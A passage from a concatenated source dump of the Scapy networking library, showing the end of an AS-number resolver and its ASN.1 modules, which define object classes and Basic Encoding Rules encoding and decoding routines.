plain_str(data).splitlines()[1:]: if "|" not in line: continue asn, ip, desc = [elt.strip() for elt in line.split('|')] if asn == "NA": continue asn = "AS%s" % asn ASNlist.append((ip, asn, desc)) return ASNlist class AS_resolver_multi(AS_resolver): def __init__(self, *reslist): # type: (*AS_resolver) -> None AS_resolver.__init__(self) if reslist: self.resolvers_list = reslist else: self.resolvers_list = (AS_resolver_radb(), AS_resolver_cymru()) def resolve(self, *ips): # type: (*Any) -> List[Tuple[str, Optional[str], str]] todo = ips ret = [] for ASres in self.resolvers_list: try: res = ASres.resolve(*todo) except socket.error: continue todo = tuple(ip for ip in todo if ip not in [r[0] for r in res]) ret += res if not todo: break return ret conf.AS_resolver = AS_resolver_multi() ================================================ FILE: scapy/asn1/__init__.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ Package holding ASN.1 related modules. """ ================================================ FILE: scapy/asn1/asn1.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi # Acknowledgment: Maxence Tury """ ASN.1 (Abstract Syntax Notation One) """ import random from datetime import datetime, timedelta, tzinfo from scapy.config import conf from scapy.error import Scapy_Exception, warning from scapy.volatile import RandField, RandIP, GeneralizedTime from scapy.utils import Enum_metaclass, EnumElement, binrepr from scapy.compat import plain_str, bytes_encode, chb, orb from typing import ( Any, AnyStr, Dict, Generic, List, Optional, Tuple, Type, Union, cast, TYPE_CHECKING, ) from typing import ( TypeVar, ) if TYPE_CHECKING: from scapy.asn1.ber import BERcodec_Object try: from datetime import timezone except ImportError: # Python 2 compat - don't bother typing it class UTC(tzinfo): """UTC""" def utcoffset(self, dt): # type: ignore return timedelta(0) def tzname(self, dt): # type: ignore return "UTC" def dst(self, dt): # type: ignore return None class timezone(tzinfo): # type: ignore def __init__(self, delta): # type: ignore self.delta = delta def utcoffset(self, dt): # type: ignore return self.delta def tzname(self, dt): # type: ignore return None def dst(self, dt): # type: ignore return None timezone.utc = UTC() # type: ignore class RandASN1Object(RandField["ASN1_Object[Any]"]): def __init__(self, objlist=None): # type: (Optional[List[Type[ASN1_Object[Any]]]]) -> None if objlist: self.objlist = objlist else: self.objlist = [ x._asn1_obj for x in ASN1_Class_UNIVERSAL.__rdict__.values() # type: ignore if hasattr(x, "_asn1_obj") ] self.chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" # noqa: E501 def _fix(self, n=0): # type: (int) -> ASN1_Object[Any] o = random.choice(self.objlist) if issubclass(o, ASN1_INTEGER): return o(int(random.gauss(0, 1000))) elif issubclass(o, ASN1_IPADDRESS): return o(RandIP()._fix()) elif issubclass(o, ASN1_GENERALIZED_TIME) or issubclass(o, ASN1_UTC_TIME): return o(GeneralizedTime()._fix()) elif issubclass(o, ASN1_STRING): z1 = int(random.expovariate(0.05) + 1) return o("".join(random.choice(self.chars) for _ in range(z1)).encode()) elif issubclass(o, ASN1_SEQUENCE) and (n < 10): z2 = int(random.expovariate(0.08) + 1) return o([self.__class__(objlist=self.objlist)._fix(n + 1) for _ in range(z2)]) return ASN1_INTEGER(int(random.gauss(0, 1000))) ############## # ASN1 # ############## class ASN1_Error(Scapy_Exception): pass class ASN1_Encoding_Error(ASN1_Error): pass class ASN1_Decoding_Error(ASN1_Error): pass class ASN1_BadTag_Decoding_Error(ASN1_Decoding_Error): pass class ASN1Codec(EnumElement): def register_stem(cls, stem): # type: (Type[BERcodec_Object[Any]]) -> None cls._stem = stem def dec(cls, s, context=None): # type: (bytes, Optional[Type[ASN1_Class]]) -> ASN1_Object[Any] return cls._stem.dec(s, context=context) # type: ignore def safedec(cls, s, context=None): # type: (bytes, Optional[Type[ASN1_Class]]) -> ASN1_Object[Any] return cls._stem.safedec(s, context=context) # type: ignore def get_stem(cls): # type: () -> type return cls._stem class ASN1_Codecs_metaclass(Enum_metaclass): element_class = ASN1Codec class ASN1_Codecs(metaclass=ASN1_Codecs_metaclass): BER = cast(ASN1Codec, 1) DER = cast(ASN1Codec, 2) PER = cast(ASN1Codec, 3) CER = cast(ASN1Codec, 4) LWER = cast(ASN1Codec, 5) BACnet = cast(ASN1Codec, 6) OER = cast(ASN1Codec, 7) SER = cast(ASN1Codec, 8) XER = cast(ASN1Codec, 9) class ASN1Tag(EnumElement): def __init__(self, key, # type: str value, # type: int context=None, # type: Optional[Type[ASN1_Class]] codec=None # type: Optional[Dict[ASN1Codec, Type[BERcodec_Object[Any]]]] # noqa: E501 ): # type: (...) -> None EnumElement.__init__(self, key, value) # populated by the metaclass self.context = context # type: Type[ASN1_Class] # type: ignore if codec is None: codec = {} self._codec = codec def clone(self): # not a real deep copy. self.codec is shared # type: () -> ASN1Tag return self.__class__(self._key, self._value, self.context, self._codec) # noqa: E501 def register_asn1_object(self, asn1obj): # type: (Type[ASN1_Object[Any]]) -> None self._asn1_obj = asn1obj def asn1_object(self, val): # type: (Any) -> ASN1_Object[Any] if hasattr(self, "_asn1_obj"): return self._asn1_obj(val) raise ASN1_Error("%r does not have any assigned ASN1 object" % self) def register(self, codecnum, codec): # type: (ASN1Codec, Type[BERcodec_Object[Any]]) -> None self._codec[codecnum] = codec def get_codec(self, codec): # type: (Any) -> Type[BERcodec_Object[Any]] try: c = self._codec[codec] except KeyError: raise ASN1_Error("Codec %r not found for tag %r" % (codec, self)) return c class ASN1_Class_metaclass(Enum_metaclass): element_class = ASN1Tag # XXX factorise a bit with Enum_metaclass.__new__() def __new__(cls, name, # type: str bases, # type: Tuple[type, ...] dct # type: Dict[str, Any] ): # type: (...) -> Type[ASN1_Class] for b in bases: for k, v in b.__dict__.items(): if k not in dct and isinstance(v, ASN1Tag): dct[k] = v.clone() rdict = {} for k, v in dct.items(): if isinstance(v, int): v = ASN1Tag(k, v) dct[k] = v rdict[v] = v elif isinstance(v, ASN1Tag): rdict[v] = v dct["__rdict__"] = rdict ncls = cast('Type[ASN1_Class]', type.__new__(cls, name, bases, dct)) for v in ncls.__dict__.values(): if isinstance(v, ASN1Tag): # overwrite ASN1Tag contexts, even cloned ones v.context = ncls return ncls class ASN1_Class(metaclass=ASN1_Class_metaclass): pass class ASN1_Class_UNIVERSAL(ASN1_Class): name = "UNIVERSAL" # Those casts are made so that MyPy understands what the # metaclass does in the background. ERROR = cast(ASN1Tag, -3) RAW = cast(ASN1Tag, -2) NONE = cast(ASN1Tag, -1) ANY = cast(ASN1Tag, 0) BOOLEAN = cast(ASN1Tag, 1) INTEGER = cast(ASN1Tag, 2) BIT_STRING = cast(ASN1Tag, 3) STRING = cast(ASN1Tag, 4) NULL = cast(ASN1Tag, 5) OID = cast(ASN1Tag, 6) OBJECT_DESCRIPTOR = cast(ASN1Tag, 7) EXTERNAL = cast(ASN1Tag, 8) REAL = cast(ASN1Tag, 9) ENUMERATED = cast(ASN1Tag, 10) EMBEDDED_PDF = cast(ASN1Tag, 11) UTF8_STRING = cast(ASN1Tag, 12) RELATIVE_OID = cast(ASN1Tag, 13) SEQUENCE = cast(ASN1Tag, 16 | 0x20) # constructed encoding SET = cast(ASN1Tag, 17 | 0x20) # constructed encoding NUMERIC_STRING = cast(ASN1Tag, 18) PRINTABLE_STRING = cast(ASN1Tag, 19) T61_STRING = cast(ASN1Tag, 20) # aka TELETEX_STRING VIDEOTEX_STRING = cast(ASN1Tag, 21) IA5_STRING = cast(ASN1Tag, 22) UTC_TIME = cast(ASN1Tag, 23) GENERALIZED_TIME = cast(ASN1Tag, 24) GRAPHIC_STRING = cast(ASN1Tag, 25) ISO646_STRING = cast(ASN1Tag, 26) # aka VISIBLE_STRING GENERAL_STRING = cast(ASN1Tag, 27) UNIVERSAL_STRING = cast(ASN1Tag, 28) CHAR_STRING = cast(ASN1Tag, 29) BMP_STRING = cast(ASN1Tag, 30) IPADDRESS = cast(ASN1Tag, 0 | 0x40) # application-specific encoding COUNTER32 = cast(ASN1Tag, 1 | 0x40) # application-specific encoding COUNTER64 = cast(ASN1Tag, 6 | 0x40) # application-specific encoding GAUGE32 = cast(ASN1Tag, 2 | 0x40) # application-specific encoding TIME_TICKS = cast(ASN1Tag, 3 | 0x40) # application-specific encoding class ASN1_Object_metaclass(type): def __new__(cls, name, # type: str bases, # type: Tuple[type, ...] dct # type: Dict[str, Any] ): # type: (...) -> Type[ASN1_Object[Any]] c = cast( 'Type[ASN1_Object[Any]]', super(ASN1_Object_metaclass, cls).__new__(cls, name, bases, dct) ) try: c.tag.register_asn1_object(c) except Exception: warning("Error registering %r" % c.tag) return c _K = TypeVar('_K') class ASN1_Object(Generic[_K], metaclass=ASN1_Object_metaclass): tag = ASN1_Class_UNIVERSAL.ANY def __init__(self, val): # type: (_K) -> None self.val = val def enc(self, codec): # type: (Any) -> bytes return self.tag.get_codec(codec).enc(self.val) def __repr__(self): # type: () -> str return "<%s[%r]>" % (self.__dict__.get("name", self.__class__.__name__), self.val) # noqa: E501 def __str__(self): # type: () -> str return plain_str(self.enc(conf.ASN1_default_codec)) def __bytes__(self): # type: () -> bytes return self.enc(conf.ASN1_default_codec) def strshow(self, lvl=0): # type: (int) -> str return (" " * lvl) + repr(self) + "\n" def show(self, lvl=0): # type: (int) -> None print(self.strshow(lvl)) def __eq__(self, other): # type: (Any) -> bool return bool(self.val == other) def __lt__(self, other): # type: (Any) -> bool return bool(self.val < other) def __le__(self, other): # type: (Any) -> bool return bool(self.val <= other) def __gt__(self, other): # type: (Any) -> bool return bool(self.val > other) def __ge__(self, other): # type: (Any) -> bool return bool(self.val >= other) def __ne__(self, other): # type: (Any) -> bool return bool(self.val != other) def command(self, json=False): # type: (bool) -> Union[Dict[str, str], str] if json: if isinstance(self.val, bytes): val = self.val.decode("utf-8", errors="backslashreplace") else: val = repr(self.val) return {"type": self.__class__.__name__, "value": val} else: return "%s(%s)" % (self.__class__.__name__, repr(self.val)) ####################### # ASN1 objects # ####################### # on the whole, we order the classes by ASN1_Class_UNIVERSAL tag value class _ASN1_ERROR(ASN1_Object[Union[bytes, ASN1_Object[Any]]]): pass class ASN1_DECODING_ERROR(_ASN1_ERROR): tag = ASN1_Class_UNIVERSAL.ERROR def __init__(self, val, exc=None): # type: (Union[bytes, ASN1_Object[Any]], Optional[Exception]) -> None ASN1_Object.__init__(self, val) self.exc = exc def __repr__(self): # type: () -> str return "<%s[%r]{{%r}}>" % ( self.__dict__.get("name", self.__class__.__name__), self.val, self.exc and self.exc.args[0] or "" ) def enc(self, codec): # type: (Any) -> bytes if isinstance(self.val, ASN1_Object): return self.val.enc(codec) return self.val class ASN1_force(_ASN1_ERROR): tag = ASN1_Class_UNIVERSAL.RAW def enc(self, codec): # type: (Any) -> bytes if isinstance(self.val, ASN1_Object): return self.val.enc(codec) return self.val class ASN1_BADTAG(ASN1_force): pass class ASN1_INTEGER(ASN1_Object[int]): tag = ASN1_Class_UNIVERSAL.INTEGER def __repr__(self): # type: () -> str h = hex(self.val) if h[-1] == "L": h = h[:-1] # cut at 22 because with leading '0x', x509 serials should be < 23 if len(h) > 22: h = h[:12] + "..." + h[-10:] r = repr(self.val) if len(r) > 20: r = r[:10] + "..." + r[-10:] return h + " <%s[%s]>" % (self.__dict__.get("name", self.__class__.__name__), r) # noqa: E501 class ASN1_BOOLEAN(ASN1_INTEGER): tag = ASN1_Class_UNIVERSAL.BOOLEAN # BER: 0 means False, anything else means True def __repr__(self): # type: () -> str return '%s %s' % (not (self.val == 0), ASN1_Object.__repr__(self)) class ASN1_BIT_STRING(ASN1_Object[str]): """ ASN1_BIT_STRING values are bit strings like "011101". A zero-bit padded readable string is provided nonetheless, which is stored in val_readable """ tag = ASN1_Class_UNIVERSAL.BIT_STRING def __init__(self, val, readable=False): # type: (AnyStr, bool) -> None if not readable: self.val = cast(str, val) # type: ignore else: self.val_readable = cast(bytes, val) # type: ignore def __setattr__(self, name, value): # type: (str, Any) -> None if name == "val_readable": if isinstance(value, (str, bytes)): val = "".join(binrepr(orb(x)).zfill(8) for x in value) else: warning("Invalid val: should be bytes") val = "" object.__setattr__(self, "val", val) object.__setattr__(self, name, bytes_encode(value)) object.__setattr__(self, "unused_bits", 0) elif name == "val": value = plain_str(value) if isinstance(value, str): if any(c for c in value if c not in ["0", "1"]): warning("Invalid operation: 'val' is not a valid bit string.") # noqa: E501 return else: if len(value) % 8 == 0: unused_bits = 0 else: unused_bits = 8 - (len(value) % 8) padded_value = value + ("0" * unused_bits) bytes_arr = zip(*[iter(padded_value)] * 8) val_readable = b"".join(chb(int("".join(x), 2)) for x in bytes_arr) # noqa: E501 else: warning("Invalid val: should be str") val_readable = b"" unused_bits = 0 object.__setattr__(self, "val_readable", val_readable) object.__setattr__(self, name, value) object.__setattr__(self, "unused_bits", unused_bits) elif name == "unused_bits": warning("Invalid operation: unused_bits rewriting " "is not supported.") else: object.__setattr__(self, name, value) def set(self, i, val): # type: (int, str) -> None """ Sets bit 'i' to value 'val' (starting from 0) """ val = str(val) assert val in ['0', '1'] if len(self.val) < i: self.val += "0" * (i - len(self.val)) self.val = self.val[:i] + val + self.val[i + 1:] def __repr__(self): # type: () -> str s = self.val_readable if len(s) > 16: s = s[:10] + b"..." + s[-10:] v = self.val if len(v) > 20: v = v[:10] + "..." + v[-10:] return "<%s[%s]=%r (%d unused bit%s)>" % ( self.__dict__.get("name", self.__class__.__name__), v, s, self.unused_bits, # type: ignore "s" if self.unused_bits > 1 else "" # type: ignore ) class ASN1_STRING(ASN1_Object[bytes]): tag = ASN1_Class_UNIVERSAL.STRING class ASN1_NULL(ASN1_Object[None]): tag = ASN1_Class_UNIVERSAL.NULL def __repr__(self): # type: () -> str return ASN1_Object.__repr__(self) class ASN1_OID(ASN1_Object[str]): tag = ASN1_Class_UNIVERSAL.OID def __init__(self, val): # type: (str) -> None val = plain_str(val) val = conf.mib._oid(val) ASN1_Object.__init__(self, val) self.oidname = conf.mib._oidname(val) def __repr__(self): # type: () -> str return "<%s[%r]>" % (self.__dict__.get("name", self.__class__.__name__), self.oidname) # noqa: E501 class ASN1_ENUMERATED(ASN1_INTEGER): tag = ASN1_Class_UNIVERSAL.ENUMERATED class ASN1_UTF8_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.UTF8_STRING class ASN1_NUMERIC_STRING(ASN1_Object[str]): tag = ASN1_Class_UNIVERSAL.NUMERIC_STRING class ASN1_PRINTABLE_STRING(ASN1_Object[str]): tag = ASN1_Class_UNIVERSAL.PRINTABLE_STRING class ASN1_T61_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.T61_STRING class ASN1_VIDEOTEX_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.VIDEOTEX_STRING class ASN1_IA5_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.IA5_STRING class ASN1_GENERAL_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.GENERAL_STRING class ASN1_GENERALIZED_TIME(ASN1_Object[str]): """ Improved version of ASN1_GENERALIZED_TIME, properly handling time zones and all string representation formats defined by ASN.1. These are: 1. Local time only: YYYYMMDDHH[MM[SS[.fff]]] 2. Universal time (UTC time) only: YYYYMMDDHH[MM[SS[.fff]]]Z 3. Difference between local and UTC times: YYYYMMDDHH[MM[SS[.fff]]]+-HHMM It also handles ASN1_UTC_TIME, which allows: 1. Universal time (UTC time) only: YYMMDDHHMM[SS[.fff]]Z 2. Difference between local and UTC times: YYMMDDHHMM[SS[.fff]]+-HHMM Note the differences: Year is only two digits, minutes are not optional and there is no milliseconds. """ tag = ASN1_Class_UNIVERSAL.GENERALIZED_TIME pretty_time = None def __init__(self, val): # type: (Union[str, datetime]) -> None if isinstance(val, datetime): self.__setattr__("datetime", val) else: super(ASN1_GENERALIZED_TIME, self).__init__(val) def __setattr__(self, name, value): # type: (str, Any) -> None if isinstance(value, bytes): value = plain_str(value) if name == "val": formats = { 10: "%Y%m%d%H", 12: "%Y%m%d%H%M", 14: "%Y%m%d%H%M%S" } dt = None # type: Optional[datetime] try: if value[-1] == "Z": str, ofs = value[:-1], value[-1:] elif value[-5] in ("+", "-"): str, ofs = value[:-5], value[-5:] elif isinstance(self, ASN1_UTC_TIME): raise ValueError() else: str, ofs = value, "" if isinstance(self, ASN1_UTC_TIME) and len(str) >= 10: fmt = "%y" + formats[len(str) + 2][2:] elif str[-4] == ".": fmt = formats[len(str) - 4] + ".%f" else: fmt = formats[len(str)] dt = datetime.strptime(str, fmt) if ofs == 'Z': dt = dt.replace(tzinfo=timezone.utc) elif ofs: sign = -1 if ofs[0] == "-" else 1 ofs = datetime.strptime(ofs[1:], "%H%M") delta = timedelta(hours=ofs.hour * sign, minutes=ofs.minute * sign) dt = dt.replace(tzinfo=timezone(delta)) except Exception: dt = None pretty_time = None if dt is None: _nam = self.tag._asn1_obj.__name__[5:] _nam = _nam.lower().replace("_", " ") pretty_time = "%s [invalid %s]" % (value, _nam) else: pretty_time = dt.strftime("%Y-%m-%d %H:%M:%S") if dt.microsecond: pretty_time += dt.strftime(".%f")[:4] if dt.tzinfo == timezone.utc: pretty_time += dt.strftime(" UTC") elif dt.tzinfo is not None: if dt.tzinfo.utcoffset(dt) is not None: pretty_time += dt.strftime(" %z") ASN1_STRING.__setattr__(self, "pretty_time", pretty_time) ASN1_STRING.__setattr__(self, "datetime", dt) ASN1_STRING.__setattr__(self, name, value) elif name == "pretty_time": print("Invalid operation: pretty_time rewriting is not supported.") elif name == "datetime": ASN1_STRING.__setattr__(self, name, value) if isinstance(value, datetime): yfmt = "%y" if isinstance(self, ASN1_UTC_TIME) else "%Y" if value.microsecond: str = value.strftime(yfmt + "%m%d%H%M%S.%f")[:-3] else: str = value.strftime(yfmt + "%m%d%H%M%S") if value.tzinfo == timezone.utc: str = str + "Z" else: str = str + value.strftime("%z") # empty if naive ASN1_STRING.__setattr__(self, "val", str) else: ASN1_STRING.__setattr__(self, "val", None) else: ASN1_STRING.__setattr__(self, name, value) def __repr__(self): # type: () -> str return "%s %s" % ( self.pretty_time, super(ASN1_GENERALIZED_TIME, self).__repr__() ) class ASN1_UTC_TIME(ASN1_GENERALIZED_TIME): tag = ASN1_Class_UNIVERSAL.UTC_TIME class ASN1_ISO646_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.ISO646_STRING class ASN1_UNIVERSAL_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.UNIVERSAL_STRING class ASN1_BMP_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.BMP_STRING def __setattr__(self, name, value): # type: (str, Any) -> None if name == "val": if isinstance(value, str): value = value.encode("utf-16be") object.__setattr__(self, name, value) else: object.__setattr__(self, name, value) def __repr__(self): # type: () -> str return "<%s[%r]>" % ( self.__dict__.get("name", self.__class__.__name__), self.val.decode("utf-16be"), ) class ASN1_SEQUENCE(ASN1_Object[List[Any]]): tag = ASN1_Class_UNIVERSAL.SEQUENCE def strshow(self, lvl=0): # type: (int) -> str s = (" " * lvl) + ("# %s:" % self.__class__.__name__) + "\n" for o in self.val: s += o.strshow(lvl=lvl + 1) return s class ASN1_SET(ASN1_SEQUENCE): tag = ASN1_Class_UNIVERSAL.SET class ASN1_IPADDRESS(ASN1_Object[str]): tag = ASN1_Class_UNIVERSAL.IPADDRESS class ASN1_COUNTER32(ASN1_INTEGER): tag = ASN1_Class_UNIVERSAL.COUNTER32 class ASN1_COUNTER64(ASN1_INTEGER): tag = ASN1_Class_UNIVERSAL.COUNTER64 class ASN1_GAUGE32(ASN1_INTEGER): tag = ASN1_Class_UNIVERSAL.GAUGE32 class ASN1_TIME_TICKS(ASN1_INTEGER): tag = ASN1_Class_UNIVERSAL.TIME_TICKS conf.ASN1_default_codec = ASN1_Codecs.BER ================================================ FILE: scapy/asn1/ber.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi # Acknowledgment: Maxence Tury # Acknowledgment: Ralph Broenink """ Basic Encoding Rules (BER) for ASN.1 """ # Good read: https://luca.ntop.org/Teaching/Appunti/asn1.html from scapy.error import warning from scapy.compat import chb, orb, bytes_encode from scapy.utils import binrepr, inet_aton, inet_ntoa from scapy.asn1.asn1 import ( ASN1Tag, ASN1_BADTAG, ASN1_BadTag_Decoding_Error, ASN1_Class, ASN1_Class_UNIVERSAL, ASN1_Codecs, ASN1_DECODING_ERROR, ASN1_Decoding_Error, ASN1_Encoding_Error, ASN1_Error, ASN1_Object, _ASN1_ERROR, ) from typing import ( Any, AnyStr, Dict, Generic, List, Optional, Tuple, Type, TypeVar, Union, cast, ) ################## # BER encoding # ################## # [ BER tools ] # class BER_Exception(Exception): pass class BER_Encoding_Error(ASN1_Encoding_Error): def __init__(self, msg, # type: str encoded=None, # type: Optional[Union[BERcodec_Object[Any], str]] # noqa: E501 remaining=b"" # type: bytes ): # type: (...) -> None Exception.__init__(self, msg) self.remaining = remaining self.encoded = encoded def __str__(self): # type: () -> str s = Exception.__str__(self) if isinstance(self.encoded, ASN1_Object): s += "\n### Already encoded ###\n%s" % self.encoded.strshow() else: s += "\n### Already encoded ###\n%r" % self.encoded s += "\n### Remaining ###\n%r" % self.remaining return s class BER_Decoding_Error(ASN1_Decoding_Error): def __init__(self, msg, # type: str decoded=None, # type: Optional[Any] remaining=b"" # type: bytes ): # type: (...) -> None Exception.__init__(self, msg) self.remaining = remaining self.decoded = decoded def __str__(self): # type: () -> str s = Exception.__str__(self) if isinstance(self.decoded, ASN1_Object): s += "\n### Already decoded ###\n%s" % self.decoded.strshow() else: s += "\n### Already decoded ###\n%r" % self.decoded s += "\n### Remaining ###\n%r" % self.remaining return s class BER_BadTag_Decoding_Error(BER_Decoding_Error, ASN1_BadTag_Decoding_Error): pass def BER_len_enc(ll, size=0): # type: (int, Optional[int]) -> bytes from scapy.config import conf if size is None: size = conf.ASN1_default_long_size if ll <= 127 and size == 0: return chb(ll) s = b"" while ll or size > 0: s = chb(ll & 0xff) + s ll >>= 8 size -= 1 if len(s) > 127: raise BER_Exception( "BER_len_enc: Length too long (%i) to be encoded [%r]" % (len(s), s) ) return chb(len(s) | 0x80) + s def BER_len_dec(s): # type: (bytes) -> Tuple[int, bytes] tmp_len = orb(s[0]) if not tmp_len & 0x80: return tmp_len, s[1:] tmp_len &= 0x7f if len(s) <= tmp_len: raise BER_Decoding_Error( "BER_len_dec: Got %i bytes while expecting %i" % (len(s) - 1, tmp_len), remaining=s ) ll = 0 for c in s[1:tmp_len + 1]: ll <<= 8 ll |= orb(c) return ll, s[tmp_len + 1:] def BER_num_enc(ll, size=1): # type: (int, int) -> bytes x = [] # type: List[int] while ll or size > 0: x.insert(0, ll & 0x7f) if len(x) > 1: x[0] |= 0x80 ll >>= 7 size -= 1 return b"".join(chb(k) for k in x) def BER_num_dec(s, cls_id=0): # type: (bytes, int) -> Tuple[int, bytes] if len(s) == 0: raise BER_Decoding_Error("BER_num_dec: got empty string", remaining=s) x = cls_id for i, c in enumerate(s): c = orb(c) x <<= 7 x |= c & 0x7f if not c & 0x80: break if c & 0x80: raise BER_Decoding_Error("BER_num_dec: unfinished number description", remaining=s) return x, s[i + 1:] def BER_id_dec(s): # type: (bytes) -> Tuple[int, bytes] # This returns the tag ALONG WITH THE PADDED CLASS+CONSTRUCTIVE INFO. # Let's recall that bits 8-7 from the first byte of the tag encode # the class information, while bit 6 means primitive or constructive. # # For instance, with low-tag-number b'\x81', class would be 0b10 # ('context-specific') and tag 0x01, but we return 0x81 as a whole. # For b'\xff\x22', class would be 0b11 ('private'), constructed, then # padding, then tag 0x22, but we return (0xff>>5)*128^1 + 0x22*128^0. # Why the 5-bit-shifting? Because it provides an unequivocal encoding # on base 128 (note that 0xff would equal 1*128^1 + 127*128^0...), # as we know that bits 5 to 1 are fixed to 1 anyway. # # As long as there is no class differentiation, we have to keep this info # encoded in scapy's tag in order to reuse it for packet building. # Note that tags thus may have to be hard-coded with their extended # information, e.g. a SEQUENCE from asn1.py has a direct tag 0x20|16. x = orb(s[0]) if x & 0x1f != 0x1f: # low-tag-number return x, s[1:] else: # high-tag-number return BER_num_dec(s[1:], cls_id=x >> 5) def BER_id_enc(n): # type: (int) -> bytes if n < 256: # low-tag-number return chb(n) else: # high-tag-number s = BER_num_enc(n) tag = orb(s[0]) # first byte, as an int tag &= 0x07 # reset every bit from 8 to 4 tag <<= 5 # move back the info bits on top tag |= 0x1f # pad with 1s every bit from 5 to 1 return chb(tag) + s[1:] # The functions below provide implicit and explicit tagging support. def BER_tagging_dec(s, # type: bytes hidden_tag=None, # type: Optional[int | ASN1Tag] implicit_tag=None, # type: Optional[int] explicit_tag=None, # type: Optional[int] safe=False, # type: Optional[bool] _fname="", # type: str ): # type: (...) -> Tuple[Optional[int], bytes] # We output the 'real_tag' if it is different from the (im|ex)plicit_tag. # 'hidden_tag' is the type tag that is implicited when 'implicit_tag' is used. real_tag = None if len(s) > 0: err_msg = ( "BER_tagging_dec: observed tag 0x%.02x does not " "match expected tag 0x%.02x (%s)" ) if implicit_tag is not None: ber_id, s = BER_id_dec(s) if ber_id != implicit_tag: if not safe and ber_id != implicit_tag: raise BER_Decoding_Error(err_msg % ( ber_id, implicit_tag, _fname), remaining=s) else: real_tag = ber_id s = chb(int(hidden_tag)) + s # type: ignore elif explicit_tag is not None: ber_id, s = BER_id_dec(s) if ber_id != explicit_tag: if not safe: raise BER_Decoding_Error( err_msg % (ber_id, explicit_tag, _fname), remaining=s) else: real_tag = ber_id l, s = BER_len_dec(s) return real_tag, s def BER_tagging_enc(s, implicit_tag=None, explicit_tag=None): # type: (bytes, Optional[int], Optional[int]) -> bytes if len(s) > 0: if implicit_tag is not None: s = BER_id_enc(implicit_tag) + s[1:] elif explicit_tag is not None: s = BER_id_enc(explicit_tag) + BER_len_enc(len(s)) + s return s # [ BER classes ] # class BERcodec_metaclass(type): def __new__(cls, name, # type: str bases, # type: Tuple[type, ...] dct # type: Dict[str, Any] ): # type: (...) -> Type[BERcodec_Object[Any]] c = cast('Type[BERcodec_Object[Any]]', super(BERcodec_metaclass, cls).__new__(cls, name, bases, dct)) try: c.tag.register(c.codec, c) except Exception: warning("Error registering %r for %r" % (c.tag, c.codec)) return c _K = TypeVar('_K') class BERcodec_Object(Generic[_K], metaclass=BERcodec_metaclass): codec = ASN1_Codecs.BER tag = ASN1_Class_UNIVERSAL.ANY @classmethod def asn1_object(cls, val): # type: (_K) -> ASN1_Object[_K] return cls.tag.asn1_object(val) @classmethod def check_string(cls, s): # type: (bytes) -> None if not s: raise BER_Decoding_Error( "%s: Got empty object while expecting tag %r" % (cls.__name__, cls.tag), remaining=s ) @classmethod def check_type(cls, s): # type: (bytes) -> bytes cls.check_string(s) tag, remainder = BER_id_dec(s) if not isinstance(tag, int) or cls.tag != tag: raise BER_BadTag_Decoding_Error( "%s: Got tag [%i/%#x] while expecting %r" % (cls.__name__, tag, tag, cls.tag), remaining=s ) return remainder @classmethod def check_type_get_len(cls, s): # type: (bytes) -> Tuple[int, bytes] s2 = cls.check_type(s) if not s2: raise BER_Decoding_Error("%s: No bytes while expecting a length" % cls.__name__, remaining=s) return BER_len_dec(s2) @classmethod def check_type_check_len(cls, s): # type: (bytes) -> Tuple[int, bytes, bytes] l, s3 = cls.check_type_get_len(s) if len(s3) < l: raise BER_Decoding_Error("%s: Got %i bytes while expecting %i" % (cls.__name__, len(s3), l), remaining=s) return l, s3[:l], s3[l:] @classmethod def do_dec(cls, s, # type: bytes context=None, # type: Optional[Type[ASN1_Class]] safe=False # type: bool ): # type: (...) -> Tuple[ASN1_Object[Any], bytes] if context is not None: _context = context else: _context = cls.tag.context cls.check_string(s) p, remainder = BER_id_dec(s) if p not in _context: t = s if len(t) > 18: t = t[:15] + b"..." raise BER_Decoding_Error("Unknown prefix [%02x] for [%r]" % (p, t), remaining=s) tag = _context[p] codec = cast('Type[BERcodec_Object[_K]]', tag.get_codec(ASN1_Codecs.BER)) if codec == BERcodec_Object: # Value type defined as Unknown l, s = BER_num_dec(remainder) return ASN1_BADTAG(s[:l]), s[l:] return codec.dec(s, _context, safe) @classmethod def dec(cls, s, # type: bytes context=None, # type: Optional[Type[ASN1_Class]] safe=False, # type: bool ): # type: (...) -> Tuple[Union[_ASN1_ERROR, ASN1_Object[_K]], bytes] if not safe: return cls.do_dec(s, context, safe) try: return cls.do_dec(s, context, safe) except BER_BadTag_Decoding_Error as e: o, remain = BERcodec_Object.dec( e.remaining, context, safe ) # type: Tuple[ASN1_Object[Any], bytes] return ASN1_BADTAG(o), remain except BER_Decoding_Error as e: return ASN1_DECODING_ERROR(s, exc=e), b"" except ASN1_Error as e: return ASN1_DECODING_ERROR(s, exc=e), b"" @classmethod def safedec(cls, s, # type: bytes context=None, # type: Optional[Type[ASN1_Class]] ): # type: (...) -> Tuple[Union[_ASN1_ERROR, ASN1_Object[_K]], bytes] return cls.dec(s, context, safe=True) @classmethod def enc(cls, s, size_len=0): # type: (_K, Optional[int]) -> bytes if isinstance(s, (str, bytes)): return BERcodec_STRING.enc(s, size_len=size_len) else: try: return BERcodec_INTEGER.enc(int(s), size_len=size_len) # type: ignore except TypeError: raise TypeError("Trying to encode an invalid value !") ASN1_Codecs.BER.register_stem(BERcodec_Object) ########################## # BERcodec objects # ########################## class BERcodec_INTEGER(BERcodec_Object[int]): tag = ASN1_Class_UNIVERSAL.INTEGER @classmethod def enc(cls, i, size_len=0): # type: (int, Optional[int]) -> bytes ls = [] while True: ls.append(i & 0xff) if -127 <= i < 0: break if 128 <= i <= 255: ls.append(0) i >>= 8 if not i: break s = [chb(int(c)) for c in ls] s.append(BER_len_enc(len(s), size=size_len)) s.append(chb(int(cls.tag))) s.reverse() return 